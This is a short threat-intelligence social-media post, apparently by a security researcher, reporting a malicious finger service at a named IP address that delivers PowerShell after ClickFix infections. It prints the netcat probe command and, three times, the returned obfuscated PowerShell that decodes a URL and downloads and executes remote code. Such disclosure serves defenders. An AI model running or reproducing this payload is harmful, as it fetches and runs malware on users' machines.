Discussion
Loading...

Post

Log in
  • About
  • Code of conduct
  • Privacy
  • Users
  • Instances
  • About Bonfire
饾櫧饾櫞饾殐饾殎饾櫞饾殏饾櫞饾櫜
饾櫧饾櫞饾殐饾殎饾櫞饾殏饾櫞饾櫜
@netresec@infosec.exchange  路  activity timestamp yesterday

馃敟 Finger service on 64.190.113.206:79 delivers malicious powershell injects after #ClickFix infections.
The malicious finger service can be probed with nc 64.190.113.206 79 <<< rcaptcha

nc 64.190.113.206 79 <<< rcaptcha
powershell -w h $rkdxui='ur' ;set-alias bertare c$($rkdxui)l;$iotdbycmkgwfp=(853,865,865,861,807,796,796,851,870,867,868,799,860,854,867,795,865,860,861,796,798,795,861,853,861,812,864,810,799,802,848,801,802,850,851,850,794,798,799,847,805,794,801,850,798,849,794,847,806,797,847,794,849,847,847,846,804,848,850,849,799,798,846,848);$zbvxekpyng=('reicporet','get-cmdlet');$viejarku=$iotdbycmkgwfp;foreach($izxrjgkps in $viejarku){$cfyapmhros=$izxrjgkps;$peqwajiln=$peqwajiln+[char]($cfyapmhros-749);$irfsex=$peqwajiln; $fenbohdt=$irfsex};$synwaxchklt[2]=$fenbohdt;$nuhjlqt='rl';$vxqnkui=1;.$([char](((200 + 30) - (100 + 25)))+'e'+'x')(bertare -useb $fenbohdt)
nc 64.190.113.206 79 <<< rcaptcha powershell -w h $rkdxui='ur' ;set-alias bertare c$($rkdxui)l;$iotdbycmkgwfp=(853,865,865,861,807,796,796,851,870,867,868,799,860,854,867,795,865,860,861,796,798,795,861,853,861,812,864,810,799,802,848,801,802,850,851,850,794,798,799,847,805,794,801,850,798,849,794,847,806,797,847,794,849,847,847,846,804,848,850,849,799,798,846,848);$zbvxekpyng=('reicporet','get-cmdlet');$viejarku=$iotdbycmkgwfp;foreach($izxrjgkps in $viejarku){$cfyapmhros=$izxrjgkps;$peqwajiln=$peqwajiln+[char]($cfyapmhros-749);$irfsex=$peqwajiln; $fenbohdt=$irfsex};$synwaxchklt[2]=$fenbohdt;$nuhjlqt='rl';$vxqnkui=1;.$([char](((200 + 30) - (100 + 25)))+'e'+'x')(bertare -useb $fenbohdt)
nc 64.190.113.206 79 <<< rcaptcha powershell -w h $rkdxui='ur' ;set-alias bertare c$($rkdxui)l;$iotdbycmkgwfp=(853,865,865,861,807,796,796,851,870,867,868,799,860,854,867,795,865,860,861,796,798,795,861,853,861,812,864,810,799,802,848,801,802,850,851,850,794,798,799,847,805,794,801,850,798,849,794,847,806,797,847,794,849,847,847,846,804,848,850,849,799,798,846,848);$zbvxekpyng=('reicporet','get-cmdlet');$viejarku=$iotdbycmkgwfp;foreach($izxrjgkps in $viejarku){$cfyapmhros=$izxrjgkps;$peqwajiln=$peqwajiln+[char]($cfyapmhros-749);$irfsex=$peqwajiln; $fenbohdt=$irfsex};$synwaxchklt[2]=$fenbohdt;$nuhjlqt='rl';$vxqnkui=1;.$([char](((200 + 30) - (100 + 25)))+'e'+'x')(bertare -useb $fenbohdt)
  • Copy link
  • Flag this post
  • Block

bonfire.cafe

A space for Bonfire maintainers and contributors to communicate

bonfire.cafe: About 路 Code of conduct 路 Privacy 路 Users 路 Instances
Bonfire social 路 1.0.1-beta.35 no JS en
Automatic federation enabled
Log in
  • Explore
  • About
  • Members
  • Code of Conduct